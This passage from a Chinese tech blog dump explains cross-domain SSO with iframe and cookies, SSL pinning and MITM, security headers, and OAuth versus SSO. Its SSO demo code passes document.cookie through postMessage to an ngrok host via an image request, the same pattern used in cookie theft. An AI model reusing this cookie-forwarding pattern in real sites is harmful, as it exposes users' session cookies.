document.cookie}, \"https://d698d280.ngrok.io/iframe\") 當 iframe 裡面接收到 postMessage 之後 (第 4 步的 function), 會開啟一個圖片 帶著 query_string https://d698d280.ngrok.io/?a=this_is_test1.example.com 當 https://d698d280.ngrok.io/ 收到之後, 會把 a 取出來並且也設定 set-cookie 12let a = req.query.a.split(\"=\")[1];res.setHeader(\"Set-Cookie\", `a=${a}; SameSite=None; Secure`) 此時在 https://d698d280.ngrok.io/ 的 cookie 裡面 會發現把從 http://test1.example1.com.com 來的 cookie 也寫到這裡面了 整個流程可以看看此影片呈現 所以透過這種方式, 就可以把登入資訊也寫入到另一台 server這樣就能達到 SSO, 只是這方式好不好, 見仁見智也許小型網站適合 (2,3 個), 但因為機制上面還有一些安全疑慮要解決所以在使用的時候要想清楚流程去避免 cookie 被盜用還包含要如何進行驗證 (可以用 JWT)而比較好的方式是透過 CAS 去實作畢竟 CAS 已經算是有完整機制的實作方法, 安全性上還是相對安全 這邊附上程式碼可以測試 如果要向筆者一樣, 可以更改 localhost 的 domain name必須去修改 /etc/hosts 底下的設定喔! 12345678910111213141516171819// server Aconst express = require(\"express\")const app = express()app.get('/', (req, res) => { res.setHeader(\"Set-Cookie\", \"a=this_is_test1.example.com;\") res.end(` <body> </body> <script> var iframe = document.createElement(\"iframe\") iframe.src = \"https://d698d280.ngrok.io/iframe\" document.body.append(iframe) </script> <script>setTimeout(function(){ iframe.contentWindow.postMessage({cookie: document.cookie}, \"https://d698d280.ngrok.io/iframe\") }, 2000)</script> `)})app.listen(2000); 1234567891011121314151617181920212223// server Bconst express = require(\"express\")const app = express()app.get('/', (req, res) => { let a = req.query.a.split(\"=\")[1]; res.setHeader(\"Set-Cookie\", `a=${a}; SameSite=None; Secure`) res.end(\"testb\")})app.get('/test', (req, res) => { res.end(\"test\")})app.get('/iframe', (req, res) => { res.setHeader('Content-Type', 'text/html') res.end(` <body></body> <script>window.addEventListener(\"message\", function(event) { var img = document.createElement(\"img\") img.src = \"https://d698d280.ngrok.io?a=\" + event.data.cookie document.body.append(img) })</script> `)})app.listen(3000) 後記先以不同 domain 的方式配合 cookie 讓大家知道 cookie 的受限程度接下來第二篇著重的重點在於不同 domain 下利用 CAS 去實現 SSO Reference 全面介绍SSO(单点登录","link":"/2020/04/06/sso-1/"},{"title":"從 SSL 到 SSL Pinning 看完你就懂!","text":"前言看不懂跟我說,我想辦法補充 XD 正文開始 …某天有人問我 某: SSL Pinning (Certificate Pinning) 是什麼東西啊?我: SSL Pinning 是為了抵禦中間人攻擊 (Man-in-the-middle Attack, aka MITM) 而形成的一種防禦機制某: …… 你這樣說最好是有人聽得懂我: 我錯了 … 給點機會讓我重新解釋解釋 為了要了解這個的意思我們要先來說說 SSL 是什麼而 SSL Pinning 又是要 pin 什麼東西然後中間人又是哪個小三?? 什麼是 SSL?SSL 全名是,Secure Sockets Layer但這是屬於舊的標準,新的標準則是 Transport Layer Security (TLS) 但不管新舊標準,他們的目的都是同一個那就是保護使用者資料的安全為目的,但 … 怎樣算保護呢? 這裡提到安全其實又會切分成三個種類可用性、機密性、完整性,這個有機會再開個篇章來談談這邊就先當成是保護資料安全吧! 先來說一般的狀況,沒有 SSL 的時候A 跟 B 兩家房子,之間有一個傳輸通道是用來傳輸各種訊息或是物資,但!!!這個通道是透明的也就是說,其他人可以跟清楚的看到 A 跟 B 到底在秘密地交換什麼東西而有了 SSL 後,就是從原本的透明傳輸管道升級成非透明的傳輸管道這樣其他人就不容易的去看到 A 跟 B 在運送什麼東西了 這裡就不提到 http 和 https 的概念但可以簡單說,http 有了 ssl 就升級為 httpshttp 就是透明管道https 就是非透明管道 那麼 SSL 是怎麼運作的,我們首先要知道 公私鑰 的概念SSL 其中有一段是透過非對稱式加密的公私鑰達到認證並建立連線通道建立安全連線通道後,會利用對稱式加密對這之間所有資料進行加解密 聽起來很饒口 … 沒關係為了要了解整個概念我們必須先來談談對稱式加密和非對稱式加密 首先是對稱式加密假如有一種加密的演算法是『把字母往後位移 k 個位子,把位移後的結果以及 k 給對方』所以當 A 想要告訴 B 一件事情A 就透過這種加密方法把 HI 這個詞,往後位移 2 個位子,就變成 JK當 B 收到位移數是 2 以及 JK 的時候,B 就可以透過這個位移數 2 把他回推成 HI這裡的 2 就是我們的 k 也就是我們的金鑰,A 和 B 都是拿到同樣的數字 2這就是對稱式加密的一種概念 那非對稱式就是 A 和 B 拿到的金鑰是不同個的 (以上述例子,A 拿公鑰,B 拿私鑰)而公私鑰,一定是一組一對一配對起來的,如果公鑰是 O 私鑰是 P那絕對是 OP 為一組,不會有 WP 這種組合出現或是 OW 這種組合出現而如何實現這種演算法,請參考 RSA 相關的文章,這裡就不多做解釋 (不然就跑題了 所以在 SSL 的概念裡面會有公私鑰,這裡有兩個概念第一種:資料透過私鑰加密,再透過公鑰解密 -> 驗證訊息來源是否真的是擁有私鑰的人第二種:資料透過公鑰加密,再透過私鑰解密 -> 把資料加密,並可還原資料 在 SSL 整個通訊協議中,當瀏覽器收到伺服器 A 送來可支援的加密演算法時會看到利用第一種方式去驗證伺服器 A 傳送過來的資料是否真的是伺服器 A 而不是 B 的接下來會選擇一把對稱式加密金鑰,然後利用第二種方式加密傳給伺服器伺服器解密後取得這把對稱式加密金鑰,之後瀏覽器和伺服器之間的通訊就用這把對稱式金鑰加解密 整個 SSL 建立的步驟可以分為以下三個大項 Authentication (藍色部分): 使用非對稱式加密演算法進行伺服器數位簽章的認證 Key Exchange (綠色部分): 交換一把對稱式加密金鑰 Encrypted Data Transfer (紅色部分): 瀏覽器和伺服器利用第二步的對稱式加密金鑰,對通訊間的資料進行加解密 可以參考下面的簡略圖,但更詳細的就不是本篇探討的地方詳細可以參閱那些關於SSL/TLS的二三事(九) — SSL (HTTPS)Communication看更多細節 第二個步驟的交換,可以利用伺服器憑證的公鑰加密對稱式金鑰伺服器收到這個加密後的對稱式金鑰,就可以用私鑰解密,然後取得對稱式金鑰但如果是使用 Diffie — Hellman 去交換對稱式金鑰的話就不需要用公鑰加密,私鑰解密了因為 Diffie — Hellman 可以”安全地”告訴對方密碼而不用擔心密碼被竊聽. 剛剛提到的憑證,就是我們瀏覽器上面會看到鎖頭,點開後那就是憑證 執行此指令可以看到完整的憑證openssl s_client -connect github.com:443 -servername github.com -showcerts 因為這憑證很長一串,這裡就不截圖顯示了各位可以自行在電腦上面執行試試看 那為什麼透過憑證可以取得到公鑰呢? 因為從私鑰中是可以算出 public key 出來的產生憑證的流程是,一開始產生出來的公私鑰匙,透過私鑰產出一個憑證申請檔案這個憑證申請檔案會包含一些申請者的資訊以及公鑰此檔案經過第三方的認證之後,就會成了憑證所以透過憑證可以把公鑰取得回來 私鑰產生出來之後,是要被嚴格保管的,絕對不能洩漏出去,所以才會稱為私鑰但公鑰就沒關係了,所以才會叫做公開金鑰 (公鑰) 什麼是 SSL Pinning ?SSL Pinning 也可以稱為 Certificate Pinning而前面有提到一個概念,公私鑰是一對一配對的所以同一組公私鑰出來的憑證,這個憑證裡面的公鑰絕對是不會變的而 SSL Pinning 就是要把 SSL 固定起來這個固定就是利用公鑰的特性達到的 假設今天我有一個 App 是專門瀏覽 github.com 用的github.com 憑證內的公鑰是 O 的話而我 App 裡面的程式,已經有預先寫好 O 這個公鑰所以當我瀏覽 github.com 的時候,取得憑證內的公鑰 O拿這個公鑰 O 去跟程式裡面寫好的 O 比對是一樣的,就繼續連線不一樣的話就拒絕連線,因為不一樣的話,一定是有什麼狀況發生,不要連線比較好這就是 SSL Pinning,確保連線的網址憑證是安全的 而發生不一樣的狀況,通常是所謂的中間人攻擊 中間人攻擊中間人攻擊英文是 Man-in-the-middle Attack,又稱 MITM在正常連線的狀況下,都是屬於下圖的狀況 (這邊以最單純只有 server 的架構來表示 中間人攻擊,就是中間卡了一個人幫你跟伺服器進行資料交換這樣就代表所有東西都會被這個中間人看光光 接下來可能會有一個疑惑,我都用 SSL 了,他怎麼會看到我傳送的封包?但其實當中間卡一個人的時候,你並不會知道中間真的有卡了一人在幫你交換資料以你連線到 github.com 的時候,如果你不特別去點憑證來看你其實並不會知道到底是怎麼一回事,讓我們看看下面 gif 的例子 左邊是我用無痕模擬被中間人攻擊的狀況,右邊則是我一般上網的狀況不點憑證之前,你其實很難分辨出來到底哪一種有問題這邊附上各個截圖,上圖為 gif 左邊,下圖為 gif 右邊 其實中間人的角色,其實就是充當伺服器再跟你進行 SSL 通道的建立所以對瀏覽器來說,這個中間人就是真正的伺服器,只是瀏覽器並不知情而已 但其實現實上瀏覽器其實不會那麼笨因為瀏覽器本身都會有一些本來就可以信任的 Root 憑證所以當瀏覽器遇到這種 Root 憑證怪怪的,基本上都是會拒絕連線的 這裡會可以連線是因為我先讓我的瀏覽器無條件相信這個中間人的 Root 憑證Root 憑證和一般我們所講的憑證有什麼不同,後面會介紹到 當不信任的狀況,瀏覽器就會出現以下的警告視窗裡面的英文訊息其實就很完整解釋,這個伺服器送回了異常的憑證,所以 Chrome 大大幫你擋掉不過如果你像我一樣設定好讓 Chrome 大大無條件相信的話,就不會出現這個警告視窗了 某: 我們已經知道 SSL 是什麼,也知道中間人攻擊是什麼了某: 但我們到底要如何做到 SSL Pinning 去預防這件事情呢某: 是只要取得 github.com 的憑證公鑰去驗證就好了嗎 我: 摁 … 且慢, 其實憑證還有所謂的憑證鍊, 就像上圖點開憑證會看到很像鏈子一整串的憑證我: 可以回去看上面那兩個 github.com 的圖裡面的憑證的顯示方法某: 等等!怎麼還有啊!也解釋太久了吧我: 幫我充值一下時間,快要結束了 憑證鍊從圖中可以看到憑證從上到下總計有三個 從上到下分別為 Root Certificate: DigitCert High Assurance EV ROOT CA Intermediate Certificate: DigitCert SHA2 Extended Validation Server CA Leaf Certificate: github.com Leaf 是被 Intermediate 簽署認證Intermediate 是被 Root 簽署認證 而 Root 憑證本身就會被安裝在手機以及瀏覽器以內但談到我剛剛有一個 github.com 被中間人攻擊的例子是我自行把中間人的 Root 憑證給安裝到電腦中,才會被攻擊實際上,其實有可能透過社交工程的方法,引誘使用者安裝這些不安全的 Root 憑證 以 Android 來說,可能會在 Settings > Security > Trusted Credentials 看到很多根憑證以 Mac 電腦來說,可以在 terminal 使用 open file:///System/Library/Security/Certificates.bundle/Contents/Resources/TrustStore.html打開後就會看到裝在這台電腦上面所有信任的 Root 憑證 那問題就來了,我要如果要做 SSL Pinning 要針對誰做 SSL Pinning 呢?答案其實是不用只選一個,也不一定要全部都選但基本上 Pinning Leaf 可以 100% 確認這一定是你的伺服器但如果當你的私鑰被洩漏出去,那個中間人也有辦法做出跟你一樣的公鑰出來的所以也會有人選擇不只 pinning Leaf,直接全部 pinning 也是一種方法 除了 Pinning 公鑰之外,也會有人選擇 Pinning 整個憑證的方式以 github.com 憑證來說有以下兩種顯示方式 公鑰: o5oa5F4LbZEfeZ0kXDgmaU2K3sIPYtbQpT3EQLJZquM= (sha256 + base64 後) 憑證檔: 1234567891011121314151617181920212223242526272829303132333435363738394041-----BEGIN CERTIFICATE-----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-----END CERTIFICATE----- 如果上面兩種擇一的話,選擇公鑰是會比較適合的因為同一把私鑰簽署出來的憑證的公鑰一定都會一樣,但如果是憑證內容就都會不一樣可以使用下面的指令試試看出來的結果1234567891011121314// 產出私鑰openssl genrsa -out key.pem 2048// 用同一把私鑰,產出兩組不同的憑證openssl req -x509 -new -key key.pem -sha256 -nodes -keyout key.pem -out cert1.pem -days 30openssl req -x509 -new -key key.pem -sha256 -nodes -keyout key.pem -out cert2.pem -days 30// 顯示公鑰是一樣openssl x509 -pubkey -noout -in cert1.pemopenssl x509 -pubkey -noout -in cert2.pem// 顯示憑證內容是不一樣openssl x509 -inform pem -in cert2.pemopenssl x509 -inform pem -in cert1.pem 這邊附上一個可以取得憑證公鑰的方法,把下面程式貼到 getPKfromDomain.sh 底下sh getPKfromDomain.sh github.com,就會出現憑證鏈全部的公鑰 (都是 sha256 + base64 後123456789101112#!/bin/bashcerts=`openssl s_client -connect $1:443 -servername $1 -showcerts </dev/null 2>/dev/null | sed -n '/Certificate chain/,/Server certificate/p'`rest=$certswhile [[ "$rest" =~ '-----BEGIN CERTIFICATE-----' ]]do cert="${rest%%-----END CERTIFICATE-----*}-----END CERTIFICATE-----" rest=${rest#*-----END CERTIFICATE-----} echo `echo "$cert" | grep 's:' | sed 's/.*s:\\(.*\\)/\\1/'` echo "$cert" | openssl x509 -pubkey -noout | openssl rsa -pubin -outform der 2>/dev/null | openssl dgst -sha256 -binary | openssl enc -base64done 以 github.com 來說,結果如下123456$ sh getPKfromDomain.sh github.com/businessCategory=Private Organization/jurisdictionCountryName=US/jurisdictionStateOrProvinceName=Delaware/serialNumber=5157550/C=US/ST=California/L=San Francisco/O=GitHub, Inc./CN=github.como5oa5F4LbZEfeZ0kXDgmaU2K3sIPYtbQpT3EQLJZquM=/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert SHA2 Extended Validation Server CARRM1dGqnDFsCJXBTHky16vi1obOlCgFFn/yOhI/y+ho= 那如果當我的手機被中間人攻擊的話,拿到的就是下面這結果12345/C=PortSwigger/O=PortSwigger/OU=PortSwigger CA/CN=github.comDl+WeZh7lkGAd7otN+2fZEKoYTap20PkS4xpiUTi61Q=/C=PortSwigger/ST=PortSwigger/L=PortSwigger/O=PortSwigger/OU=PortSwigger CA/CN=PortSwigger CADl+WeZh7lkGAd7otN+2fZEKoYTap20PkS4xpiUTi61Q= 後記不過還是要注意的是,萬一私鑰被洩露然後 App 的 SSL Pinning 是寫死在程式裡面,這樣 App 就 100% 一定要升級版本,否則會出問題但如果你說,專門有一台憑證 API 去跟他要公鑰,其實這也會有問題因為攻擊者還是有辦法去偽造回傳的結果的 XD 另外如果對模擬中間人攻擊有興趣的,可以參考 burpsuit 的使用方法去學習屆時再使用 openssl s_client 的時候,記得最後面加上 -proxy 127.0.0.1:8080 連到 proxy 去模擬 References 那些關於SSL/TLS的二三事(九) — SSL (HTTPS)Communication 這裡有一系列對 SSL/TLS 的概念講解,推薦大家去閱讀看看 那些關於SSL/TLS的二三事(十二) — Chain of Trust Android Security: SSL Pinning","link":"/2020/03/02/ssl-pinning/"},{"title":"增加安全性的 HTTP Headers","text":"最近遇到需要增進網站安全性的問題於是 survey 了幾個常見的 header 設置方式接下來會開始介紹每一個 header 的功能以及設置方式以及可以到這個網站進行檢測 https://securityheaders.io/個人習慣是用 nodejs + express,所以以下使用方式都會是以 express 為主 Set-Cookie 設置方式防禦面向為: XSS Set-Cookie 基本上是最多人使用的,但是 Set-Cookie 的設置方式如果沒有設定好是不安全的Set-Cookie 有以下兩個 header 可以設定 HttpOnly設置 HttpOnly 的 cookie 之後,會沒辦法用 document.cookie 的方式(任何 javascript)去存取 cookie Secure強制 cookie 只能在 HTTPS protocol 的環境下進行傳遞簡單來說設置 Secure 的 cookie 之後在非 HTTPS 的環境底下是會失效的 使用方式1234res.cookie('cookie_name', 'jack', { httpOnly: true, secure: true}) X-XSS-Protection防禦面向為: XSS 設定之後,如果瀏覽器偵測到 XSS 的攻擊,會根據設置的屬性做不同的反應p.s. 這個是舊有的屬性,基本上可以被 Content-Security-Policy 取代但是還是可以為那些沒有支援 Content-Security-Policy 的瀏覽器提供一層保護 X-XSS-Protection 有以下四個值可以設定 0關閉 XSS 過濾功能 1開啟 XSS 過濾功能,如果偵測到 XSS 攻擊的話,瀏覽器會刪除不安全的部分 1; mode=block開啟 XSS 過濾功能,如果偵測到 XSS 攻擊的話,瀏覽器不會把網頁給渲染出來 1;report= (Chromium only)開啟 XSS 過濾功能,如果偵測到 XSS 攻擊的話,瀏覽器會回報到指定的 URI 使用方式1234res.setHeader('X-XSS-Protection', '0')res.setHeader('X-XSS-Protection', '1')res.setHeader('X-XSS-Protection', '1; mode=block')res.setHeader('X-XSS-Protection', '1;report=https://www.example.com') Content-Security-Policy防禦面向為: XSS Content-Security-Policy 是一個可以限制網站的 script object style font 的來源主要是用白名單的方式限制,甚至可以限制不允許 eval 這種東西出現簡單來說設定 Content-Security-Policy 之後,只有白名單內的 resource 可以存取因為值很多種,所以以下用例子來解釋,詳細可以參考 Content-Security-Policy但基本上有以下幾種可以設定 default-src script-src img-src font-src frame-src 1res.setHeader('Content-Security-Policy', \"default-src 'self'; script-src 'self' *.google.com 'unsafe-eval'; img-src 'self' *.amazonaws.com data:\") 以上面的例子來說default-src ‘self’ 代表網站 resource 只能讀取自己網站的,default 代表如果在其他設置欄位沒找到的話,會根據 default-src 為主script-src ‘self’ .google.com ‘unsafe-eval’ 代表我用的 script src 可以存取自己網站以及 .google.com 底下,以及可以允許 evalimg-src ‘self’ .amazonaws.com data:代表我用的 script src 可以存取自己網站以及 .amazonaws.com 底下,以及比較特別的是可以存取 base64 格式的 image data X-Frame-Options防禦面向為: Clickjacking X-Frame-Options 主要是設定網站是否能被其他網站透過 iframe frame 的方式遷入X-Frame-Options 有以下三個值可以設定 DENY不允許被任何網站用 iframe 的形式嵌入的假設在 www.example.com 設置了 X-Frame-Options: DENY 的話在 www.google.com 的話,是不能 html 裡面嵌入 <iframe src="www.example.com"></iframe> SAMEORIGIN允許同源底下的網站,用 iframe 方式嵌入 ALLOW-FROM設定白名單的 list 使用方式123res.setHeader('X-Frame-Options', 'DENY')res.setHeader('X-Frame-Options', 'SAMEORIGIN')res.setHeader('X-Frame-Options', 'ALLOW-FROM https://example.com') X-Content-Type-Options用途: 避免瀏覽器誤判文件形態 X-Content-Type-Options 是拿來防止 Content-Type 被竄改比較要注意的是,這個屬性只會套用在 script style如果 style 的 content-type 不是 text/css 就會被拒絕如果 script 的 content-type 不是 javascript MIME type 就會被拒絕 使用方式1res.setHeader('X-Content-Type-Options', 'nosniff') Strict-Transport-Security防禦面向: 強迫用戶使用 HTTPS,防範 MITM 攻擊 Strict-Transport-Security 是強化 HTTPS 機智的一種方式設置之後,即使是用 HTTP 連線,還是會被轉去使用 HTTPS 連線 使用方式1res.setHeader('Strict-Transport-Security', 'max-age=16070400; includeSubDomains') Referrer-Policy防禦面向: 增加隱私權 Referrer 代表的是你從 A 網站跳到 B 網站的時候,這個欄位會被記錄為 A簡單來說,他是記錄你上一個瀏覽的地方的東西 他有以下幾個值可以設定,詳細可以參考這裏 no-referrer不允許被記錄下來 origin只有紀錄 origin,例如在 https://example.com/a.html 底下,只會傳送 https://example.com strict-origin只有在 HTTPS->HTTPS 之間才會被記錄下來 no-referrer-when-downgrade (default)跟 strict-origin 一樣 origin-when-cross-origin只有在 CORS 的時候, referrer 才會被送出,但只有 origin same-originCORS 的時候, referrer 不會被記錄,同源的時候會有 origin strict-origin-when-cross-origin只有在同源的時候才會送出 referrer,而且還是要 HTTPS -> HTTPS unsafe-url不管怎樣都送就對拉 使用方式12res.setHeader('Referrer-Policy', 'no-referrer')res.setHeader('Referrer-Policy', 'unsafe-url') Public-Key-Pins防禦面向: 中間人攻擊 設定 Public-Key-Pins 之後,可以給予我們是否要主動信任 CA (憑證頒發機構) 的權利可以防止攻擊者透過 CA 錯誤的簽署憑證並進行中間人攻擊的安全機制 使用方式1234// 裡面的 base64== 是要透過用自己的憑證,產出的 public keu// 產出的 public key 配合 openssl 產出 fingerprint// 把 fingerprint 貼上來取代掉 base64== 即可res.setHeader('Public-Key-Pins', 'pin-sha256=\"base64==\"; max-age=2592000; includeSubDomains') Referencehttps://developer.mozilla.orghttps://devco.re/blog/2014/03/10/security-issues-of-http-headers-1/https://devco.re/blog/2014/04/08/security-issues-of-http-headers-2-content-security-policy/https://devco.re/blog/2014/06/11/setcookie-httponly-security-issues-of-http-headers-3/","link":"/2017/10/20/secure-header/"},{"title":"OAuth 是什麼? 跟 SSO 有什麼關係或差別?","text":"前言OAuth 和 Single Sign On (SSO) 的概念不仔細研讀, 還真的不好分出這之間的差別這篇會針對它們之間的差別進行解釋 正文我們先看看 RFC 上面對於 OAuth 以及 SSO 的解釋是什麼 (擷取部分內容) OAuthOAuth 1.0 和 OAuth 2.0 的本質解決的問題上是一樣的但在對角色和細節流程上面的定義不大一樣這會到 OAuth 2.0 實作的文章時稍微提到一些大體差別 這邊就針對 OAuth 2.0 去進行簡單介紹在 RFC 上面對於 OAuth 2.0 的定義如下 The OAuth 2.0 authorization framework enables a third-partyapplication to obtain limited access to an HTTP service, either onbehalf of a resource owner by orchestrating an approval interactionbetween the resource owner and the HTTP service, or by allowing thethird-party application to obtain access on its own behalf. 簡單來說, OAuth 能夠讓第三方應用程式去取得使用者的資料舉例來說就是 Google 製作了 OAuth 服務讓 PChome (第三方) 能夠取得使用者在 Google 上面的資料 這邊有三個重要的地方 authorization (授權) third-party application (第三方應用程式) approval interaction between the resource owner and the HTTP service Authorization 是一種授權的概念, 也就是當你登入成功之後, 你被賦予了可以使用多少服務的權限所以 OAuth 是一種授權框架, 它可以授權其它第三方應用程式取得使用者資料當然還是要經過使用者允許之後 (approval interaction), 才會授權給第三方取得使用者的資料 這在 OAuth 1.0 以及 OAuth 2.0 裡面都是一樣的 SSO在 RFC 上面對於 SSO 的定義蠻有趣的, 它是直接給例子 XD Bob has an account in an application hosted by a cloud serviceprovider SomeCSP. SomeCSP has federated its user identities with acloud service provider AnotherCSP. Bob requests a service from anapplication running on AnotherCSP. The application running onAnotherCSP, relying on Bob’s authentication by SomeCSP and usingidentity information provided by SomeCSP, serves Bob’s request. 簡單翻譯一下, Bob 有一組帳號密碼是在 SomeCSP 這個服務底下此時 Bob 使用一個在 AnotherCSP 服務底下的應用程式這個應用程式要透過 SomeCSP 去認證此使用者的身份接著才能使用 SomeCSP 提供的身份資料去服務 Bob 夠冗長了吧 XD這邊就在幫它簡化一下, 也就是說 Bob 想要使用 AnotherCSP 的服務時必須先透過 SomeCSP 進行登入認證才能使用 這裡有一個重點, 就是 authentication (認證)當你拿著帳號密碼來登入的時候, 此時就是在做認證, 確認是不是真的是你 小總結這兩個東西的重點是不一樣的, 一個在於授權, 一個在於認證 OAuth 是一種授權框架, 而不是認證框架SSO 是一種認證的方式, 而不是授權的方式 認證: 使用者拿著帳號密碼去登入網站, 這叫做認證授權: 使用者登入後, 開始依照本身的權限去操作, 這叫做授權 [2023-02-14 Update]這邊補充一下,SSO 強調的是一種概念,SSO 實作方式有很多種例如之前分享的 CAS 和 iframe & cookie其實 OAuth 也是實作 SSO 的一種方式,就像在 OAuth 例子最後一段中提到的 舉例接著我們用更貼近生活的例子再次解釋一次這兩種概念 SSO 例子今天我在 Google 日曆登入我的帳號但使用完日曆之後, 我想先去收個 Gmail, 這時候會發現我並不用重新登入, 而是可以直接使用 Gmail原因是這兩個服務的帳號密碼其實是一樣, 再透過 Google 的 cookie-session 機制能夠讓我不需要重新登入 OAuth 例子今天我在 Pchome 購物, 發現一台 Mac 很想買於是我點下登入按鈕, 發現跳出可以用 Facebook or Line or Google 登入那因為常用 Google, 所以我選擇用 Google 登入此時我就被導入到 Google 的登入頁面輸入帳號密碼認證完成之後, 我被導回 PChome 後就發現我有會員的身份, 然後就開開心心的買完東西 接著隔天我在 Yahoo 購物, 發現 magic keyboard 比 PChome 更便宜於是我在 Yahoo 按下登入按鈕, 發現又跳出可以用 Facebook or Line or Google 登入我一樣選擇用 Google 登入, 但因為昨天我早就登入過了, 所以今天我不用重新輸入帳號密碼只要在 Google 頁面按下 Approve 確認, 就被導入 Yahoo然後發現我有會員的身份, 然後開開心心的買完東西 上面流程會發現一件事情, 我們只用了一個帳號就可以使用 Yahoo 和 PChome 的服務這個狀況很像剛剛 SSO 提到的, 我登入後使用 A 服務, 再次使用服務 B 時, 是不用重新登入 但這裡有一個小小的差別請注意, 當我們在登入後使用 Google Calander 後, 再去使用 Gmail 的時候Google 不會叫你重新按下 Approve 才能使用 Gmail, 而是直接跳到 Gmail 的頁面讓你用 但在 PChome 和 Yahoo 的狀況下當我按下 Google 登入按鈕, 我一定都會被導轉到 Google 登入頁面去按下 Approve 或輸入帳密這裡就是一開始提到的 approval interaction 的部分 這是一個 OAuth 的核心地方, 也就是授權 PChome 和 Yahoo 可以存取我的 Google 資料所以在 PChome 和 Yahoo 按下 Googe 登入回來後, 會發現我的 email 已經在它們裡面 但也會有另一個疑問出現, 那為什麼我在 Google 登入後我從 PChome 和 Yahoo 按下 Goolge 登入, 我不需要輸入帳密, 只需要按下 Approve 呢? 其實這原因很單純, 在使用 Facebook 網頁的時候, 你今天看完, 隔天再看, 是不需要重新登入這就是透過 cookie-session 的機制達到, 但這跟 OAuth 並無太大相關性 只是 OAuth 還有一個特性當我使用其他購物網站, 繼續使用 Google 登入的時候這樣 … 我是不是只要記得 Google 的帳號密碼, 其他購物網站其實都不用紀錄?也就代表, 我使用其他購物網站, 我都不需要重新輸入帳號密碼就能登入了 沒錯, 其實透過 OAuth 也能達到 SSO但前提是如果全世界的人都用 Google OAuth 的時候, 的確只要一組帳號密碼就能登入所有服務 所以其實 OAuth 和 SSO 的概念某方面其實是算相近, 所以這也是常常被搞混的其中一點 後記寫一寫才發現, 這篇應該當第一篇才對 XD References https://tools.ietf.org/html/rfc6749#section-1 https://tools.ietf.org/html/rfc7642#section-3.2 